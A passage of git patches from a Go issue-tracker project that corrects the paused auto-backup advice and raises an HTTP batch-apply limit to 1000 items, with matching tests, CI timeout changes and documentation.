a/cmd/bd/backup_cap.go b/cmd/bd/backup_cap.go index 64854731f..77f0101fd 100644 --- a/cmd/bd/backup_cap.go +++ b/cmd/bd/backup_cap.go @@ -95,8 +95,10 @@ func showSizeCapStatus(dir string) { } capBytes := int64(capMB) * 1024 * 1024 if size >= capBytes { + // Same two levers as pauseAutoBackupForSizeCap's warning — see + // there for why `bd backup init` is not one of them. fmt.Printf(" Size cap: PAUSED (cap exceeded) — %s / %s. Raise backup.size-cap-mb "+ - "or run `bd backup init ` to switch destinations.\n", + "or point backup.git-repo at a different git repository to switch destinations.\n", formatBytes(size), formatBytes(capBytes)) return } @@ -183,6 +185,14 @@ func warnBackupSizeCapUnavailable(err error) { // human-visible warning could effectively never fire; those callers have // `bd backup status --json`'s size_cap field instead. // +// The advice names only the levers that end the pause: raising the cap, or +// pointing backup.git-repo — the only setting backupDir() reads — at another +// repository, whose backup/ directory carries none of this one's size or +// throttle state. `bd backup init` registers the separate destination that +// manual `bd backup sync` pushes to; auto-backup still targets this +// directory afterwards, so it would stay paused (PR #6071 post-merge +// review). +// // Never returns an error: a failure to persist must not block the // (already-decided) skip of the backup attempt itself. func pauseAutoBackupForSizeCap(dir string, state *backupState, size int64) { @@ -208,7 +218,8 @@ func pauseAutoBackupForSizeCap(dir string, state *backupState, size int64) { fmt.Fprintf(os.Stderr, "Warning: auto-backup PAUSED — destination %s has reached %s. "+ "No further syncs will run until you raise backup.size-cap-mb "+ - "or switch to a fresh destination with `bd backup init `.\n", + "or point backup.git-repo at a different git repository "+ + "(auto-backup then syncs to a backup/ directory inside it).\n", dir, formatBytes(size)) debug.Logf("backup: size cap exceeded (%s), auto-backup paused\n", formatBytes(size)) return diff --git a/cmd/bd/backup_cap_test.go b/cmd/bd/backup_cap_test.go index d44ac0438..837a10592 100644 --- a/cmd/bd/backup_cap_test.go +++ b/cmd/bd/backup_cap_test.go @@ -260,8 +260,12 @@ func TestBackupSizeCapExceeded_DisabledWithZero(t *testing.T) { // fix: the warning must not tell operators to delete the backup directory // — nothing confirms the destination is cleanly recreated by the next // sync, and Dolt's server-side backup remote stays registered against that -// path. It should point at the safe levers instead: raising the cap, or a -// fresh destination via `bd backup init`. +// path. It should point at the levers that end the pause instead: raising +// the cap, or pointing backup.git-repo at another repository. It must not +// point at `bd backup init`, which the original fix suggested (PR #6071 +// post-merge review): that configures the destination for manual `bd backup +// sync` and leaves auto-backup paused — see +// TestMaybeAutoBackup_RemediationLevers for all three, run for real. func TestPauseAutoBackupForSizeCap_RemediationAdvice(t *testing.T) { t.Chdir(t.TempDir()) t.Setenv("BEADS_DIR", "") @@ -285,8 +289,11 @@ func TestPauseAutoBackupForSizeCap_RemediationAdvice(t *testing.T) { if !strings.Contains(stderr, "backup.size-cap-mb") { t.Errorf("warning missing backup.size-cap-mb pointer: %q", stderr) } - if !strings.Contains(stderr, "bd backup init") { - t.Errorf("warning missing `bd backup init ` pointer: %q", stderr) + if !strings.Contains(stderr, "backup.git-repo") { + t.Errorf("warning missing backup.git-repo pointer: %q", stderr) + } + if strings.Contains(stderr, "bd backup init") { + t.Errorf("warning points at `bd backup init`, which does not move the auto-backup destination: %q", stderr) } } @@ -547,6 +554,142 @@ func TestMaybeAutoBackup_PausedSkipArmsIntervalThrottle(t *testing.T) { } } +// dirRecordingBackupStore records the destination of every backup, so a +// test can tell a sync into the paused destination from one into a new one. +type dirRecordingBackupStore struct { + failingBackupStore + dirs []string +} + +func (f *dirRecordingBackupStore) BackupDatabase(ctx context.Context, dir string) error { + f.dirs = append(f.dirs, dir) + return f.failingBackupStore.BackupDatabase(ctx, dir) +} + +// TestMaybeAutoBackup_RemediationLevers runs the PAUSED advice for real +// (PR #6071 post-merge review): each lever it names must resume +// auto-backup, and `bd backup init `, which it used to name, must +// not. backupDir() reads only backup.git-repo, so the destination init +// configures for manual `bd backup sync` never reaches auto-backup. +func TestMaybeAutoBackup_RemediationLevers(t *testing.T) { + // paused returns an over-cap destination whose pause has already been + // recorded, and the fake store a resumed sync would reach. + paused := func(t *testing.T) (string, *dirRecordingBackupStore) { + t.Helper() + t.Chdir(t.TempDir()) + // A resumed sync takes the workspace-scoped backup lock, so the + // command needs a real workspace. + prepareBackupStatusTest(t) + + repo := t.TempDir() + if err := os.MkdirAll(filepath.Join(repo, ".git"), 0o755); err != nil { + t.Fatal(err) + } + t.Setenv("BD_GIT_HOOK", "") + t.Setenv("BD_BACKUP_GIT_REPO", repo) + t.Setenv("BD_BACKUP_ENABLED", "1") + t.Setenv("BD_BACKUP_SIZE_CAP_MB", "1") + initConfigForTest(t) + + dir, err := backupDir() + if err != nil { + t.Fatalf("backupDir: %v", err) + } + if err := os.WriteFile(filepath.Join(dir, "filler"), make([]byte, 2*1024*1024), 0o600); err != nil { + t.Fatal(err) + } + seeded := &backupState{Timestamp: time.Now().UTC().Add(-time.Hour), LastDoltCommit: "oldcommit"} + if err := saveBackupState(dir, seeded); err != nil { + t.Fatal(err) + } + + oldStore := store + fake := &dirRecordingBackupStore{failingBackupStore: failingBackupStore{commit: "deadbeef"}} + store = fake + t.Cleanup(func() { store = oldStore }) + + stderr := captureStderr(t, func() { maybeAutoBackup(context.Background()) }) + if !strings.Contains(stderr, "auto-backup PAUSED") || len(fake.dirs) != 0 { + t.Fatalf("auto-backup did not pause (synced to %q), so this test proves nothing: %q", fake.dirs, stderr) + } + return dir, fake + } + // rewindThrottle stands in for waiting out backup.interval, which the + // pause re-armed: a lever applied to the same destination takes effect + // at its next eligible sync, not on the very next command. + rewindThrottle := func(t *testing.T, dir string) time.Time { + t.Helper() + st, err := loadBackupState(dir) + if err != nil { + t.Fatalf("loadBackupState: %v", err) + } + st.Timestamp = time.Now().UTC().Add(-time.Hour) + if err := saveBackupState(dir, st); err != nil { + t.Fatal(err) + } + return st.Timestamp + } + + t.Run("raise backup.size-cap-mb", func(t *testing.T) { + dir, fake := paused(t) + t.Setenv("BD_BACKUP_SIZE_CAP_MB", "10") + initConfigForTest(t) + rewindThrottle(t, dir) + + maybeAutoBackup(context.Background()) + if len(fake.dirs) != 1 || fake.dirs[0] != dir { + t.Errorf("synced to %q after raising the cap, want one sync to %q", fake.dirs, dir) + } + }) + + t.Run("point backup.git-repo at a different git repository", func(t *testing.T) { + _, fake := paused(t) + other := t.TempDir() + if err := os.MkdirAll(filepath.Join(other, ".git"), 0o755); err != nil { + t.Fatal(err) + } + t.Setenv("BD_BACKUP_GIT_REPO", other) + initConfigForTest(t) + + // No rewind: the new destination has no throttle state of its own. + maybeAutoBackup(context.Background()) + want := filepath.Join(other, "backup") + if len(fake.dirs) != 1 || fake.dirs[0] != want { + t.Errorf("synced to %q after switching backup.git-repo, want one sync to %q", fake.dirs, want) + } + }) + + t.Run("bd backup init leaves auto-backup paused", func(t *testing.T) { + dir, fake := paused(t) + oldCtx, oldWrote := rootCtx, commandDidWrite.Load() + rootCtx = context.Background() + t.Cleanup(func() { + rootCtx = oldCtx + commandDidWrite.Store(oldWrote) + }) + stdout := captureStdout(t, func() error { + return backupInitCmd.RunE(backupInitCmd, []string{t.TempDir()}) + }) + if !strings.Contains(stdout, "Backup destination configured") { + t.Fatalf("`bd backup init` did not configure a destination, so this test proves nothing: %q", stdout) + } + rewound := rewindThrottle(t, dir) + + maybeAutoBackup(context.Background()) + if len(fake.dirs) != 0 { + t.Fatalf("synced to %q after `bd backup init`, want auto-backup still paused", fake.dirs) + } + st, err := loadBackupState(dir) + if err != nil { + t.Fatalf("loadBackupState: %v", err) + } + if !st.Timestamp.After(rewound) { + t.Errorf("timestamp = %v, want it re-armed past %v by the size-cap skip: the cap check never ran, so this proves nothing", + st.Timestamp, rewound) + } + }) +} + // TestWarnBackupSizeCapUnavailable_IsOperatorVisible pins the PR #6071 // review's error-handling minor: getDirSize aborts its whole walk on the // first unreadable entry, and maybeAutoBackup then proceeds UNCAPPED. That diff --git a/cmd/bd/backup_status_test.go b/cmd/bd/backup_status_test.go index 513603cc8..86348c185 100644 --- a/cmd/bd/backup_status_test.go +++ b/cmd/bd/backup_status_test.go @@ -228,8 +228,24 @@ func TestBackupStatusShowsSizeCapPaused(t *testing.T) { if stderr != "" { t.Errorf("stderr = %q, want empty", stderr) } - if !strings.Contains(stdout, "PAUSED (cap exceeded)") { - t.Errorf("status text missing PAUSED indicator: %s", stdout) + var pausedLine string + for _, line := range strings.Split(stdout, "\n") { + if strings.Contains(line, "PAUSED (cap exceeded)") { + pausedLine = line + } + } + if pausedLine == "" { + t.Fatalf("status text missing PAUSED indicator: %s", stdout) + } + // Same levers as the pause warning — see + // TestPauseAutoBackupForSizeCap_RemediationAdvice. + for _, want := range []string{"backup.size-cap-mb", "backup.git-repo"} { + if !strings.Contains(pausedLine, want) { + t.Errorf("PAUSED line missing %s pointer: %q", want, pausedLine) + } + } + if strings.Contains(pausedLine, "bd backup init") { + t.Errorf("PAUSED line points at `bd backup init`, which does not move the auto-backup destination: %q", pausedLine) } }) } diff --git a/docs/reference/configuration.md b/docs/reference/configuration.md index 33803808c..39c60a394 100644 --- a/docs/reference/configuration.md +++ b/docs/reference/configuration.md @@ -125,7 +125,7 @@ Any key whose name contains `api_key`, `api-key`, `secret`, `token`, or `passwor | `backup.enabled` | — | `BD_BACKUP_ENABLED` | `false` | Enable periodic Dolt-native backup to `.beads/backup/` (see [below](#auto-backup)) | | `backup.interval` | — | `BD_BACKUP_INTERVAL` | `15m` | Minimum time between auto-backups | | `backup.git-push` | — | — | `false` | Auto-push backup repo | -| `backup.git-repo` | — | `BD_BACKUP_GIT_REPO` | (none) | Backup git repo URL; when set, backups go to a `backup/` directory inside that repo | +| `backup.git-repo` | — | `BD_BACKUP_GIT_REPO` | (none) | Path to a local git repository (`~/` expands); when set, auto-backup syncs to a `backup/` directory inside it. A path without `.git` falls back to `.beads/backup/` with a warning | | `backup.size-cap-mb` | — | `BD_BACKUP_SIZE_CAP_MB` | `2048` | Pause auto-backup once the destination directory reaches this size; `0` disables the cap (see [below](#auto-backup)) | | `backup.size-warn-interval` | — | `BD_BACKUP_SIZE_WARN_INTERVAL` | `24h` | Minimum time between repeated "auto-backup paused" warnings | | `audit.enabled` | — | `BD_AUDIT_ENABLED` | `false` | Enable the optional JSONL interaction sidecar at `.beads/interactions.jsonl`, written by `bd audit record` / `bd audit label`. While disabled, `bd init` does not create the file and `bd audit record` / `bd audit label` refuse to write. Issue history is always recorded in the database either way — see `bd history --events` | @@ -235,7 +235,7 @@ backup: How it works: - After each write command, `bd` compares the Dolt HEAD commit hash against the last backup state. -- If data changed and the throttle interval has passed, `bd` checks the destination directory's on-disk size against `backup.size-cap-mb`. `CALL DOLT_BACKUP('sync', ...)` only ever adds new chunks to the destination — it never prunes ones that became unreachable on the source (history rewrites, superseded data), and Dolt exposes no supported way to GC a backup destination in place. Left uncapped, the destination can only grow until disk fills; this was the root cause of a 2026-06-19 outage where a 1.7GB store produced a 43GB backup directory. Once the cap is reached, auto-backup pauses — nothing is deleted, but no further syncs run until you raise `backup.size-cap-mb` or point to a fresh destination with `bd backup init `. Set `size-cap-mb: 0` to disable the cap entirely. +- If data changed and the throttle interval has passed, `bd` checks the destination directory's on-disk size against `backup.size-cap-mb`. `CALL DOLT_BACKUP('sync', ...)` only ever adds new chunks to the destination — it never prunes ones that became unreachable on the source (history rewrites, superseded data), and Dolt exposes no supported way to GC a backup destination in place. Left uncapped, the destination can only grow until disk fills; this was the root cause of a 2026-06-19 outage where a 1.7GB store produced a 43GB backup directory. Once the cap is reached, auto-backup pauses — nothing is deleted, but no further syncs run until you raise `backup.size-cap-mb` or point `backup.git-repo` at a different git repository, whose `backup/` directory then becomes the destination. `bd backup init` does not end the pause: it configures the separate destination that manual `bd backup sync` pushes to. Set `size-cap-mb: 0` to disable the cap entirely. - If the destination is under its cap, a Dolt-native backup is synced to `.beads/backup/` (or to a `backup/` directory inside `backup.git-repo` when configured). - State is tracked in `backup_state.json` inside the backup directory. `bd backup status` prints `PAUSED (cap exceeded)` when the destination is over its cap, and its `--json` output reports the same state as `size_cap.exceeded: true` — so an agent/CI caller relying on `--json` or `--quiet` can see that auto-backup has stopped instead of reading a reassuring "Last backup" line while nothing further syncs. - The cap applies only to auto-backup; manual `bd backup` / `bd backup sync` are not capped. From 6cd11846873228c3d83e064d4f45c96ad16a9a2f Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 1 Oct 2026 08:32:56 -0700 Subject: [PATCH 042/325] =?UTF-8?q?feat(httpapi):=20opt-in=20large=20issue?= =?UTF-8?q?s:batchApply=20envelope=20(=E2=89=A41000=20items,=20one=20trans?= =?UTF-8?q?action)=20(#7051)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(storage): measure ApplyBatchInTx SQL statement counts (B0) Adds a driver.Connector-level counting/latency-injecting wrapper (internal/storage/sqlcount) plus shared plan-request fixtures (internal/storage/batchfixtures: mol-normalized 356/712-item shapes and a 40-item classic shape) and backend-specific pinning tests + benchmarks (internal/storage/embeddeddolt, internal/storage/dolt) that measure the ACTUAL number of SQL statements issueops.ApplyBatchInTx issues for each shape, on both the embedded and Dolt (TCP) backends. Measured totals (Prepare+Exec+Query+StmtExec+StmtQuery inside one transaction): 356 items ~7008-7009, 712 items 14014-14015, 40 items 846, identical on both backends (expected: statement issuance is driven by Go application logic, not backend-specific SQL planning). Pinned with a small (+/-2) tolerance to absorb an observed, host-contention-driven +/-1 Query drift (Exec is deterministic on every run). This is the regression baseline slice B2 (a later, lighter fast path) must demonstrably lower. batchfixtures.UncappedPlan bypasses issueops.MaxApplyBatchItems so this measurement does not depend on slice B1's cap raise. Co-Authored-By: Claude Sonnet 5 * feat(httpapi,issueops): raise batchApply envelope to 1000 items with bounded large-apply handling POST /v0/beads/issues:batchApply now accepts up to 1000 items (up from 100); issueops.MaxApplyBatchItems moves accordingly and the request body cap rises to 16 MiB. The whole plan still applies in exactly ONE transaction. A request over 100 items runs under a separate, flat, operator-configured whole-run budget (`bd serve --large-apply-ceiling`, 5 minutes by default) instead of the ordinary 60s request deadline; a request at or under 100 items is unaffected and keeps exactly the 60s deadline and 15s commit-retry ceiling it always had. Concurrency and shutdown are bounded, not just documented: - Oversized requests serialize through a dedicated one-wide semaphore, and at most one caller may wait for that semaphore at a time (a CAS-guarded single waiter) — a burst of oversized requests is shed with 503 rather than queuing and starving ordinary traffic behind the general semaphore. - The run deadline is stamped only once the slot is actually acquired, not at the time the request arrived. - Graceful shutdown closes new admissions before computing its drain budget, then waits out an in-flight large apply up to its own remaining deadline (plus a few seconds' grace for the response to write); any large apply still queued for the semaphore when shutdown begins is refused rather than extending the drain further. A queued caller that disconnects gets a clean 503, never a misclassified context error. `bd serve`'s orchestrator stop grace must be at least `--large-apply-ceiling` — see engdocs/SERVE_RUNBOOK.md. - ApplyBatch's commit-retry budget only extends past the ordinary 15s ceiling on this explicit large-apply path (via a context marker), with headroom reserved so the final retry attempt can't be killed mid-commit by the context's own expiry. A new `issues.batchApplyLarge` capability token on `GET /v0/beads/context` lets a client learn whether a given server accepts the raised envelope. Wall-clock measurement (embedded Dolt, whole-transaction build+commit) backs the 5-minute ceiling default: 356 items ~12.6s (23.8x headroom), 1000 items ~57.5s (5.2x headroom). Co-Authored-By: Claude Sonnet 5 * fix(httpapi,serve): wire the large-apply retry budget; repair stale pins Review fixes for the large batchApply envelope, on top of the test repairs the PR needed against main. The extended commit-retry budget was never switched on. internal/storage/uow's retryTxBudget lets a large apply keep retrying a commit-time conflict past the ordinary 15s ceiling only when its context carries issueops.WithExtendedRetryBudget's marker, and the docs on both sides say admitLargeApply sets it, but nothing did: the marker's only callers were the uow tests, which mark their contexts by hand. A 1000-item apply that hit a conflict still gave up after 15s with most of its 5-minute ceiling unused. admitLargeApply now marks the run context it builds, and TestApplyBatchMarksOnlyALargeApplyForTheExtendedRetryBudget pins the seam over HTTP: marked at 101 and 1000 items, unmarked at 100. Removing the mark fails the 101 and 1000 cases; marking every request in handleApplyBatch fails the 100 case. Smaller fixes from the same review: - `bd serve --large-apply-ceiling` repeated the 5m default as a literal of its own, and since bd serve always passes a positive ceiling, that literal, not httpapi's, was the default every deployment ran. Export httpapi.DefaultLargeApplyCeiling, default the flag to it, and pin the flag's 5m0s default in TestServeFlags. - admitLargeApply's release cancels the run context before clearing s.largeApplyDeadline, the order acquireLargeApply's doc states; it cleared the deadline first. - Drop the batchfixtures test's dead t.Skipf, which waited for the cap to reach 1000, and correct a graph-counter comment that still cited the 100-item cap and the TestServeFlags doc line that called the no-argument server unchanged. The PR raises issueops.MaxApplyBatchItems from 100 to 1000 and adds `bd serve --large-apply-ceiling`, but two base-owned tests still pinned the old surface and went red on every lane that runs them (Bazel / test, Test (macos-latest)): - TestServeFlags pins the exact `bd serve` flag list; add large-apply-ceiling. - TestPlanApplyBatchRefusesAnUnusableRequest/too_many_items built 101 items and expected "at most 100 items", a request the 1000 cap now plans successfully. Size the over-cap request and its message from issueops.MaxApplyBatchItems, as TestPlanApplyBatchAcceptsTheBoundary already does for the other side of the cap; the cap's value stays pinned by TestCapBatchApplyLargeTiesAllThreeLimits. The PR's own TestLargeApplyBurstNeverStarvesSmallRequestsForSemTimeout also went red in PR Core (-race, -p 4 on a 4-vCPU runner): all eight small requests took 160-165ms against a 100ms bound. The stall it guards against lasts semTimeout (5s), while a small request can still queue briefly behind the refused large requests, each holding a general sem slot while its body decodes. Bound it at a second, the "want well under a second" its sibling TestLargeApplyQueueDoesNotStarveOrdinaryRequests already uses. Pinned to four cores beside 24 busy loops, small requests measured 183ms mean and 338ms max, and the 1s bound passed 80/80 runs; with the one-waiter gate in acquireLargeApply disabled the test still fails 3/3, on its 2s never-completed check. Co-Authored-By: Claude Opus 5.5 * fix(uow): stop a doomed large-apply retry before ctx cuts it off retryTxBudget sizes maxElapsed once at ApplyBatch entry, but says nothing about how long an individual attempt takes. A slow first attempt (e.g. 157s of a large apply's commit) left little of the budget for a retry, which then got killed mid-transaction by ctx's own deadline instead of finishing and reporting its own outcome -- surfacing as context.DeadlineExceeded (isUnavailable excludes it -> a generic 500) instead of the exhausted-write-conflict result this loop already reports correctly (-> 503 + Retry-After). RunTxResultWithin now tracks the previous attempt's duration and, before starting a new one, stops early with the last real serialization error when time left on ctx is less than that duration plus a fixed headroom -- but only when publicops.HasExtendedRetryBudget(ctx) is set (the same marker retryTxBudget itself checks). Applying the look-ahead unconditionally regressed TestApplyBatchHonorsAnExtendedRetryBudgetFromContext's unmarked case: ordinary requests have cheap attempts and are meant to run until their own ctx deadline ends the loop, and the large-apply-sized 5s headroom was tripping that for any short-ctx caller with a near-instant failing attempt. Adds TestRunTxResultWithin_SlowAttemptStopsBeforeADoomedRetry (a 1.2s commit against a 2s marked ctx must stop after one attempt with its own serialization error, never DeadlineExceeded, and never touch a second unit of work) and its control, TestRunTxResultWithin_ShortAttemptStillRetries (a 50ms attempt against the same shape must still retry and succeed). Both mutation-checked against the look-ahead condition and its gate. Also updates the stale "items accepts at most 100 entries" prose on the applyBatch endpoint description (openapi.v0.yaml) to the large-envelope wording already used elsewhere in the spec: 1000-item cap behind the issues.batchApplyLarge capability, large-apply-ceiling deadline extension, <=100 unaffected. dependencies:count's own "at most 100" lines are unrelated and untouched. Co-Authored-By: Claude Sonnet 5 * fix(ci,serve): fit the 1000-item cap's tests in the storage shard budget Review fixes for the relaunched #7051, iteration 1. Raising issueops.MaxApplyBatchItems from 100 to 1000 made the base-owned TestBatchApplyContract take 604s under -race, against 97s at the old cap (main run 35862663577). It hashed onto the legacy test-embedded-storage shard 2/5, beside ~5m of other tests, and that shard hit its 15m budget twice (PR Risk run 36807191489). PR Risk no longer runs the legacy tier on same-repo PRs (#7071), but Main's push run and fork PRs still do, so the merge would have carried the timeout to Main. Raising the jobs' timeout-minutes alone would not fix it: the shard script passes the binary its own -test.timeout=15m. So: - embedded-storage-test-shard.sh passes -test.timeout=20m (and its go test fallback -timeout 20m), as embedded-test-shard.sh does for cmd/bd. - test-embedded-storage in main.yml and pr-risk.yml: timeout-minutes 15 -> 25, the script's 20m plus setup. - embeddeddolt_embedded_test appends -test.timeout=19m, as bd_embedded_test does, so Go's timeout, which dumps every goroutine, fires before rbe-west's 1200s action kill, which does not. TestBazelEmbeddedJobMirrorsEmbeddedTier now checks the override on both sharded targets instead of only cmd/bd's, and the PR Risk coverage test pins the storage target's new args. - embedded-storage-test-shards.txt places TestBatchApplyContract on shard 4, which has ~3m of other tests, and the PR's two large-batch tests, TestLargeBatchApplyStatementCounts_Embedded (247s) and TestLargeBatchApplyWallClock_Embedded (261s), on shards 2 and 5. From the PR run's per-test times, the heaviest shard projects to ~13m, down from shard 2's 15m-plus. Also correct the stop-grace guidance. For an in-flight large apply, Serve's drain waits out the apply's remaining deadline plus drainGrace (5s), so the orchestrator's stop grace must be at least --large-apply-ceiling plus 5s, as Serve's own doc says. The runbook, the flag help, the LargeApplyCeiling field doc and the CHANGELOG entry asked for the ceiling alone. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Sonnet 5 --- .bazelrc | 9 +- .../scripts/embedded-storage-test-shard.sh | 8 +- .../scripts/embedded-storage-test-shards.txt | 12 + .github/workflows/main.yml | 7 +- .github/workflows/pr-risk.yml | 7 +- CHANGELOG.md | 29 + cmd/bd/serve.go | 37 +- cmd/bd/serve_test.go | 39 +- engdocs/SERVE_RUNBOOK.md | 18 + internal/httpapi/BUILD.bazel | 1 + internal/httpapi/apigen/types.gen.go | 4 +- internal/httpapi/batch_apply.go | 50 +- internal/httpapi/large_batch_apply_test.go | 1060 +++++++++++++++++ internal/httpapi/routes.go | 36 +- internal/httpapi/server.go | 313 ++++- internal/httpapi/server_test.go | 8 +- internal/httpapi/spec/openapi.v0.yaml | 63 +- internal/storage/BUILD.bazel | 2 + internal/storage/batch_apply_test.go | 8 +- internal/storage/batchfixtures/BUILD.bazel | 39 + .../storage/batchfixtures/batchfixtures.go | 256 ++++ .../batchfixtures/batchfixtures_test.go | 103 ++ .../storage/batchfixtures/uncapped_plan.go | 45 + internal/storage/dolt/BUILD.bazel | 3 + .../dolt/large_batch_apply_measure_test.go | 199 ++++ internal/storage/embeddeddolt/BUILD.bazel | 14 +- .../large_batch_apply_measure_test.go | 369 ++++++ internal/storage/sqlcount/BUILD.bazel | 21 + internal/storage/sqlcount/sqlcount.go | 417 +++++++ internal/storage/uow/BUILD.bazel | 1 + internal/storage/uow/batch_applier.go | 66 +- .../uow/batch_applier_retry_budget_test.go | 192 +++ internal/storage/uow/tx.go | 59 +- internal/storage/uow/tx_test.go | 95 +- issueops/batchapplier.go | 64 +- issueops/graphcounter.go | 6 +- scripts/ci_workflow_test.go | 16 +- scripts/pr_risk_bazel_coverage_test.go | 2 +- 38 files changed, 3588 insertions(+), 90 deletions(-) create mode 100644 internal/httpapi/large_batch_apply_test.go create mode 100644 internal/storage/batchfixtures/BUILD.bazel create mode 100644 internal/storage/batchfixtures/batchfixtures.go create mode 100644 internal/storage/batchfixtures/batchfixtures_test.go create mode 100644 internal/storage/batchfixtures/uncapped_plan.go create mode 100644 internal/storage/dolt/large_batch_apply_measure_test.go create mode 100644 internal/storage/embeddeddolt/large_batch_apply_measure_test.go create mode 100644 internal/storage/sqlcount/BUILD.bazel create mode 100644 internal/storage/sqlcount/sqlcount.go create mode 100644 internal/storage/uow/batch_applier_retry_budget_test.go diff --git a/.bazelrc b/.bazelrc index 2ccf130de..c3d60537f 100644 --- a/.bazelrc +++ b/.bazelrc @@ -89,11 +89,10 @@ test:embedded --keep_going test:embedded --test_summary=terse # The variants are timeout = "eternal" because the jobs' Go timeouts are past # "long"; rbe-west rejects any action timeout over 1200s, so eternal means -# 1200s here, and the effective limits are: storage shards, the job's -# -test.timeout=15m; cmd shards and conformance core/audit, -test.timeout=19m -# (the jobs pass 20m and 30m), so that Go's timeout, which dumps every -# goroutine, fires before Bazel's 1200s kill, which does not (see the BUILD -# targets). +# 1200s here, and the effective limit of every variant is -test.timeout=19m +# (the storage and cmd shard jobs pass 20m, conformance core/audit 30m), so +# that Go's timeout, which dumps every goroutine, fires before Bazel's 1200s +# kill, which does not (see the BUILD targets). test:embedded --test_timeout=-1,-1,-1,1200 # The jobs pass no -parallel: GOMAXPROCS on a 4-vCPU runner. test:embedded --test_arg=-test.parallel=4 diff --git a/.github/scripts/embedded-storage-test-shard.sh b/.github/scripts/embedded-storage-test-shard.sh index 2f78a7883..0d6968e86 100755 --- a/.github/scripts/embedded-storage-test-shard.sh +++ b/.github/scripts/embedded-storage-test-shard.sh @@ -140,13 +140,17 @@ if [ "${BEADS_TEST_SHARD_LIST_ONLY:-}" = "1" ]; then exit 0 fi +# 20m, as embedded-test-shard.sh: under -race, TestBatchApplyContract alone +# takes ~10m at the 1000-item issueops.MaxApplyBatchItems cap, and the +# heaviest shard projects to ~13m (see embedded-storage-test-shards.txt). +# The jobs' timeout-minutes (25) leave room for setup after this fires. if [ -x "$STORAGE_BINARY" ]; then - exec "$STORAGE_BINARY" -test.v -test.count=1 -test.timeout=15m \ + exec "$STORAGE_BINARY" -test.v -test.count=1 -test.timeout=20m \ -test.run "$RUN_REGEX" \ "$@" else echo "Warning: pre-built test binary not found at $STORAGE_BINARY, falling back to go test" - exec go test -tags=gms_pure_go -v -race -count=1 -timeout 15m \ + exec go test -tags=gms_pure_go -v -race -count=1 -timeout 20m \ -run "$RUN_REGEX" \ "$@" \ ./internal/storage/embeddeddolt/ diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index 1327de7a3..cfd0dbe78 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -15,10 +15,20 @@ # excluded — it runs in the separate test-embedded-conformance job, which # shards by sub-test path (core/audit), not by top-level function name, and # is a different mechanism from this manifest. +# +# Three tests are placed by measured -race duration instead (PR Risk run +# 36807191489, at the 1000-item issueops.MaxApplyBatchItems cap): +# TestBatchApplyContract (604s) on shard 4, which has ~3m of other tests, +# and TestLargeBatchApplyStatementCounts_Embedded (247s) and +# TestLargeBatchApplyWallClock_Embedded (261s) on shards 2 and 5. Hashed, +# TestBatchApplyContract shared shard 2 with ~5m of other tests and ran it +# past the job's old 15m timeout; placed so, the heaviest shard projects to +# ~13m. 5 1 TestActiveDatabaseSizeFailsForMissingEmbeddedDatabase 5 2 TestActiveDatabaseSizeScopesToActiveEmbeddedDatabase 5 3 TestAddDependency 5 4 TestAddLabel +5 4 TestBatchApplyContract 5 5 TestBuildDSN_NoDatabase 5 1 TestBuildDSN_SpacesInPath 5 2 TestBuildDSN_WithDatabase @@ -73,6 +83,8 @@ 5 1 TestHistory_NullTextColumns 5 2 TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore 5 3 TestIsBlockedBatchEmbedded +5 2 TestLargeBatchApplyStatementCounts_Embedded +5 5 TestLargeBatchApplyWallClock_Embedded 5 4 TestLeaseLifecycleEmbedded 5 5 TestListWisps 5 1 TestOpenAfterCloseCreatesNewStore diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 588cead28..1873f28b1 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -1059,7 +1059,12 @@ jobs: needs: [detect-ci-tier, build-embedded] if: needs.detect-ci-tier.outputs.full_embedded == 'true' runs-on: ubuntu-latest - timeout-minutes: 15 + # The shard script's -test.timeout=20m plus setup. At 15m the 1000-item + # batch-apply cap cancelled shard 2/5: TestBatchApplyContract took 604s + # under -race (97s at the 100-item cap, main run 35862663577) and the + # shard hit 15m twice (PR Risk run 36807191489). The manifest now pins + # the heavy tests apart; the heaviest shard projects to ~13m. + timeout-minutes: 25 strategy: fail-fast: false matrix: diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index cc5c8c556..8bbb27591 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -265,7 +265,12 @@ jobs: needs: [detect-ci-tier, bazel-embedded-coverage, build-embedded] if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-embedded-coverage.outputs.covered != 'true' runs-on: ubuntu-latest - timeout-minutes: 15 + # The shard script's -test.timeout=20m plus setup. At 15m the 1000-item + # batch-apply cap cancelled shard 2/5: TestBatchApplyContract took 604s + # under -race (97s at the 100-item cap, main run 35862663577) and the + # shard hit 15m twice (run 36807191489). The manifest now pins the heavy + # tests apart; the heaviest shard projects to ~13m. + timeout-minutes: 25 strategy: fail-fast: false matrix: diff --git a/CHANGELOG.md b/CHANGELOG.md index e38cae372..dbb29bd39 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -665,6 +665,35 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- **`POST /v0/beads/issues:batchApply` accepts up to 1000 items, up from 100.** + `issueops.MaxApplyBatchItems` moves from 100 to 1000; the request body cap + rises from 4 MiB to 16 MiB (`maxApplyBatchBodyBytes`); and the whole plan + still applies in exactly ONE transaction — the cap raise never chunks a + request. A request over 100 items now runs under a separate, EXTENDED + whole-run budget instead of the ordinary 60s request deadline: a new + `bd serve --large-apply-ceiling` flag sets it (5 minutes by default), applied + flat regardless of item count, never scaled down. A request at or under 100 + items is completely unaffected and keeps exactly the 60s deadline it has + always had. A request over 100 items also serializes against every other + such request through a dedicated one-wide semaphore, so at most one + oversized write transaction is in flight at a time; the wait for that + semaphore is itself bounded, so a burst of oversized requests is shed with + `503` rather than queuing indefinitely and starving ordinary traffic. An + ordinary (<=100-item) request is never made to wait on it. Graceful shutdown + waits out an in-flight large apply up to its own deadline, but refuses any + large apply still queued for the semaphore once 